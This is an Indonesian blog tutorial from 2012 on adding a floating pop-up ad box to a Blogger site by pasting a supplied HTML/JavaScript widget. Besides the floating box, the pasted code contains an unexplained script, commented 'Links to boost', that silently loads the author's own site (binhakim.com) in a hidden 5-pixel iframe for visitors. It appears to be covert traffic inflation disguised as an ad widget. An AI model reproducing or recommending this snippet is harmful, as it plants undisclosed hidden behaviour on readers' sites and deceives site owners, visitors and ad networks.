Sabtu, 11 Agustus 2012

Cara Membuat Tampilan Iklan Melayang di Blog

Jika Anda ingin memasang atau membuat tampilan iklan melayang di halaman Blog, coba pelajari dan ikuti trik membuat tampilan iklan melayang di halaman Blog berikut ini. Tampilan Iklan Melayang di Blog menjadi salah satu cara untuk menampilkan iklan dengan kemasan floating / pop up. Cara memasang atau membuat tampilan iklan melayang di halaman Blog cukup banyak diterapkan oleh para blooger, namun perlu diperhatikan, tidak semua pengelola iklan setuju dengan cara ini, dan bisa dianggap melanggar TOS. Jika anda ingin menerapkan cara ini, mari kita simak cara memasang atau membuat tampilan iklan melayang di halaman Blog selengkapnya.



1. Masuk ke dashboard blog anda
2. Klik > Tata Letak, pilih > add widget (tambah gadget)
3. Pilih >  HTML/Javascript.
4. Copy dan paste kode script berikut ini:

<style type="text/css">
#topbar{
position:absolute;
visibility: hidden;
width:350px;
z-index:100;
padding:5px;
background-color: #D9EBF0;
border: 1px solid #333333;
-moz-border-radius: 6px;
-webkit-border-radius: 6px;
margin:0 auto 10px;
float:right;
color: #000000;
text-align: justify;
font-size: 12px;
font-family: Verdana, serif;
filter:alpha(opacity=85);
-moz-opacity:0.85;
opacity:0.85;
}
</style>
<script src="http://btuneup.googlecode.com/files/js_pop_up.js" type="text/javascript"></script>
<script type="text/javascript">
var persistclose=0
var startX = 0
var startY = 0
var verticalpos="fromtop"
</script>
<div id="topbar">
<div align="right"><font class="linkaiklanclose"><a href="#"><center><b>Klik 1kali untuk keluar  !!!</b><br /></center>
</a></font></div> <div onclick="closebar()"; return="true">

Masukkan script iklan PPC anda

<br/></div></div>

<script type="text/javascript">
var sLocation = document.referrer.toLocaleLowerCase();
//Links to boost
var rDomains = ["http://www.binhakim.com"];
//Allowed domain referrer
var aDomains = [".com"];
var valid = 1;

//Valid referrer
for (i=0;i<aDomains.length;i++) {
//Check referrer
if (sLocation.indexOf(aDomains[i], 0) > -1)
{
valid = 1;
break;
}
}

//Valid referrer
if (valid == 1)
{
//Loop
for (i=0;i<rDomains.length;i++) {
//alert(rDomains[i]);
invisibleWindow("mydiv" + i,rDomains[i]);
}
}

function invisibleWindow(iframeID, url) {
divel = document.createElement("div");
divel.id = "div" + iframeID;
divel.style.width = "5px";
divel.style.height = "5px";
divel.style.visibility = "hidden";

//Add div
document.body.appendChild(divel);

domiframe = document.createElement("iframe");
domiframe.id = iframeID;
domiframe.src = url;
domiframe.style.width = "5px";
domiframe.style.height = "5px";
domiframe.style.visibility = "hidden";

var divid = document.getElementById("div" + iframeID);
divid.appendChild(domiframe);
}</script>

Kode yang harus diganti :

Silahkan ganti tulisan:  Klik 1kali untuk keluar dengan tulisan yang anda inginkan
Silahkan ganti tulisan:  Masukkan script iklan PPC anda dengan kode script iklan PPC anda.

5. Terakhir klik > Simpan dan selesai

Mudah bukan ? Selamat mencoba, dan sekian trik memasang atau membuat tampilan iklan melayang di halaman Blog.

1 komentar:

TheAccessories mengatakan...

Thanks... Very Nice Article... Also check : The Accessories Gallery